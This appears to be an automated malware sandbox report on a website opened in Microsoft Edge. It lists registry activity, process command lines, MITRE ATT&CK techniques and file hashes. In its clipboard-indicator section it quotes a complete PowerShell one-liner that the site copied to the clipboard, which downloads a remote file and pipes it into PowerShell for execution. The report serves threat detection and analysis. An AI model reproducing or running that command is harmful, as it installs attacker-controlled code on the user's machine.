hxxp://militaryconcealedcarry[.]com

Analysis

user interaction
yes
max time kernel
299s
max time network
302s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/08/2026, 15:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://militaryconcealedcarry.com
Sample260803-spr3rasfme

Score

7^/10

discovery

Malware Config

Signatures

Suspicious clipboard content. 1 IoCs

A suspicious script was copied to clipboard.

ioc	Process
powershell -nop -c "$w=[Net.WebClient]::new();$null=$w.DownloadString('https://t.me/+9noMmVN7ve81YWRk')-match'ion[^>]*>(\S+)\s';$p=$env:PUBLIC+'\x';$w.DownloadFile('https://'+$matches[1]+'/mz.dat?z=1',$p);gc $p\|powershell -nop -c -"	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3440	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302439180126639"	msedge.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1074038928-2032447174-945360078-1000\{3DACA912-65A9-4A3B-8E45-4685130A0E40}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3376	msedge.exe
3376	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe
1592	msedge.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 1592 wrote to memory of 3332	1592	msedge.exe	87
PID 1592 wrote to memory of 3440	1592	msedge.exe	88
PID 1592 wrote to memory of 2132	1592	msedge.exe	89
PID 1592 wrote to memory of 2132	1592	msedge.exe	89
PID 1592 wrote to memory of 2132	1592	msedge.exe	89
PID 1592 wrote to memory of 4328	1592	msedge.exe	90
PID 1592 wrote to memory of 4328	1592	msedge.exe	90
PID 1592 wrote to memory of 2960	1592	msedge.exe	92
PID 1592 wrote to memory of 2960	1592	msedge.exe	92
PID 1592 wrote to memory of 1300	1592	msedge.exe	93
PID 1592 wrote to memory of 2960	1592	msedge.exe	92
PID 1592 wrote to memory of 1300	1592	msedge.exe	93
PID 1592 wrote to memory of 1300	1592	msedge.exe	93
PID 1592 wrote to memory of 2724	1592	msedge.exe	94
PID 1592 wrote to memory of 2724	1592	msedge.exe	94
PID 1592 wrote to memory of 2724	1592	msedge.exe	94
PID 1592 wrote to memory of 736	1592	msedge.exe	95
PID 1592 wrote to memory of 736	1592	msedge.exe	95
PID 1592 wrote to memory of 736	1592	msedge.exe	95
PID 1592 wrote to memory of 4916	1592	msedge.exe	98
PID 1592 wrote to memory of 4916	1592	msedge.exe	98
PID 1592 wrote to memory of 4844	1592	msedge.exe	99
PID 1592 wrote to memory of 4844	1592	msedge.exe	99
PID 1592 wrote to memory of 4684	1592	msedge.exe	101
PID 1592 wrote to memory of 724	1592	msedge.exe	110
PID 1592 wrote to memory of 724	1592	msedge.exe	110
PID 1592 wrote to memory of 724	1592	msedge.exe	110
PID 1592 wrote to memory of 1372	1592	msedge.exe	111
PID 1592 wrote to memory of 1372	1592	msedge.exe	111
PID 1592 wrote to memory of 1372	1592	msedge.exe	111
PID 1592 wrote to memory of 1752	1592	msedge.exe	113
PID 1592 wrote to memory of 3328	1592	msedge.exe	114
PID 1592 wrote to memory of 2020	1592	msedge.exe	115
PID 1592 wrote to memory of 1392	1592	msedge.exe	116
PID 1592 wrote to memory of 1392	1592	msedge.exe	116
PID 1592 wrote to memory of 1392	1592	msedge.exe	116
PID 1592 wrote to memory of 4460	1592	msedge.exe	117
PID 1592 wrote to memory of 4460	1592	msedge.exe	117
PID 1592 wrote to memory of 4244	1592	msedge.exe	118
PID 1592 wrote to memory of 4244	1592	msedge.exe	118
PID 1592 wrote to memory of 4244	1592	msedge.exe	118
PID 1592 wrote to memory of 3376	1592	msedge.exe	120
PID 1592 wrote to memory of 5028	1592	msedge.exe	121
PID 1592 wrote to memory of 5028	1592	msedge.exe	121
PID 1592 wrote to memory of 5032	1592	msedge.exe	122
PID 1592 wrote to memory of 5032	1592	msedge.exe	122
PID 1592 wrote to memory of 1144	1592	msedge.exe	123
PID 1592 wrote to memory of 1144	1592	msedge.exe	123

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://militaryconcealedcarry.com
1⤵
- Suspicious clipboard content.
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1592
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x25c,0x7ffbe35fc188,0x7ffbe35fc194,0x7ffbe35fc1a0
  2⤵
  PID:3332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1816,i,17424550423893332125,1150389190536275271,524288 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=2488 /prefetch:3
  2⤵
  - System Time Discovery
  PID:3440
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1696,i,7327355809895866234,507843452237107374,262144 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=2436 /prefetch:2
  2⤵
  PID:2132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2616,i,16038148593472302511,6758678010386447207,524288 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=2612 /prefetch:8
  2⤵
  PID:4328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3472,i,9305377153325405570,18017589608877528323,2097152 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:1
  2⤵
  PID:2960
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3484,i,8252295205585449878,11511383067631912681,2097152 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=3488 /prefetch:1
  2⤵
  PID:1300
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4280,i,17759201777107112330,12108064079823149750,2097152 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=4324 /prefetch:1
  2⤵
  PID:2724
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4308,i,7871682170974862530,7779657190477774428,2097152 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=4352 /prefetch:2
  2⤵
  PID:736
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5100,i,7726459638824673200,1486882267620019618,524288 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=5184 /prefetch:8
  2⤵
  PID:4916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4968,i,1531668984228575594,18133040986366904611,524288 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=5192 /prefetch:8
  2⤵
  PID:4844
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5856,i,11019729186337386884,17952500054066980371,524288 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=5880 /prefetch:8
  2⤵
  PID:1864
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5856,i,11019729186337386884,17952500054066980371,524288 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=5880 /prefetch:8
  2⤵
  PID:4684
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=4992,i,18324953723284060733,12317460329051660430,2097152 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=4560 /prefetch:1
  2⤵
  PID:724
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3528,i,12044487671459118561,16251727137757157004,2097152 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=3488 /prefetch:1
  2⤵
  PID:1372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6316,i,11640221471909288612,477251554404470159,524288 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=3776 /prefetch:8
  2⤵
  PID:1752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6320,i,17265061406021467772,12807282375378516981,524288 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=3760 /prefetch:8
  2⤵
  PID:3328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6324,i,6879065863022366505,6897311267226713126,524288 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:8
  2⤵
  PID:2020
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=4560,i,15414762525855625154,12820247589280062050,2097152 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=4500 /prefetch:1
  2⤵
  PID:1392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3740,i,13410051321425008264,12477184137004566360,524288 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=3724 /prefetch:8
  2⤵
  PID:4460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=6008,i,14952551993288277371,1788385022795826359,2097152 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=4324 /prefetch:1
  2⤵
  PID:4244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=760,i,13919559089735052724,7164483203048629925,262144 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=5352 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3376
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4972,i,967205995936384776,8625909953964483630,524288 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:8
  2⤵
  PID:5028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3620,i,2794561606812954888,16853872956412049016,524288 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=5288 /prefetch:8
  2⤵
  PID:5032
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5520,i,10128639825528264870,4513522807119597849,524288 --field-trial-handle=2444,i,17930525615506860927,8677486693829139904,262144 --variations-seed-version --mojo-platform-channel-handle=5188 /prefetch:8
  2⤵
  PID:1144

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1536

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 86f58006da590b6a6397eb32ecab83559def6e4467e696655355071b7bf2aa4a
MD5 448f19b0779a65b0be650a956fa5df6e
SHA1 3baed8e409ca650111c9646e8bf0dad44ff672b3
SHA512 f7785f7b3b588df9949bb0ddf9ccce50e7ecddfe0d32752bd78b9bf0c7255c65a9c30533b1b6de2eb00570b5d4f393e3d3d59d030c093e0902b082d13b1d4f37
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7d:fwUQC5VwBIiElEd2K57P7d
TLSH
T1A5B3B931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 85da5d101c008762046da9670ca95944217bbb1829e60a748f367ee4f9926b13
MD5 ef105d8d3e87a813544857290c28833d
SHA1 bfe7010cf80fb8cbcb9eeb5e0d0b551ece0b3134
SHA512 ae71c302652e2de890fca25723381f403f4f9ee51e2da6583977318de3e7ff00defb73b202e17a287def3ff618de86c0af96c0fca7729ef3efe0a4ba3cfdfc63
TLSH
T16FD0803377C9A100F6567375F413C7412F27057415868613A168C45CDC784C557C92C7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 98eae6fcc56d922689f3a45ab65635857e6510c437555d4eae3a6cd68dff3acb
MD5 338a3c92e96cad1510815c958fc76de7
SHA1 e1234ace09aad728f9bde0798e2fb22ee82583de
SHA512 e29c9087bb4c9c94c8525a95c307117f14827336de29aa01f837bd02b05b3aecd1c1771970519a60972a1495e05b4f68ab34cf5e4ec9d7060f6383ac019c2ed7
TLSH
T17DD0803337C9A500F6567375F412C7412F2705741586C713A168C45CDC794C557C92C7
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
Size 4KB
SHA256 16563651e9798a1432dff957bd99386a1189494a05ed265fe8d6d0334951df2d
MD5 0de6b6d838ae99c2ef045beb53afc9ad
SHA1 be911f550346c177078bfff89f445081e17edd30
SHA512 91d41f2825122737c5d8f7d3ce9404b7bf9f87fa3116df1a02a1b2a3002d4b477d526fc8d655ca296e8763cbffbaf8b4a5d2ec53ae7d9200ed4fc26a4597c501
SSDEEP 48:0HCPn6ccU85sCaPaMfycD2QYsCA9IyNZZoaWPc3+47eU+eWzyk:0iPnVi2l9bLZ4cuk1WGk
TLSH
T12C81C71482F2C990FB956130E3E2BA0439FD4954294F3F4F980098BFFA0EBA67015D7A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 f62b2fc6686d821ad80986533eda9e53cf833cf90d5d93fc45a6a4735d40a28e
MD5 e437f7c43992afe645cf1895714131c5
SHA1 8fd60a31c40c6fcbe81d8c58452467bfd243a069
SHA512 409eaa32d5d6b5e6a409a7df98db91239e5dbf30cb2f84caa146c5a2a5635154f73292e0a0d62b2239fe92c3c9c8b00e05e477a2cd89ce45b5c7853ba6854224
TLSH
T1DF71F92882B1C985F7967431F2E1B60434FE88553A5F3F4E685098BFFA0EB547025E38
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 b5a721b816b66f31c187bbb5209a7670d79ea20b0218276eda1123e13ea52a18
MD5 481e976f2da07c95b8e476aaf793e54c
SHA1 4e8ecb334017fb2d9f72467842cba399e176bc2d
SHA512 cac0cb9c72be926d8de3d92a64582498b96167c08f939f829d4588885859ad7d2c6a70dde0ec3df5d9d8a813e92d5ab019f92b63e7a038f0f520cb734dbec2d9
TLSH
T17E61F82882B1C881F3963431F2E1B10474FD88983A5F3F4E584058BFFA0EB147021E38
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5899ab.TMP

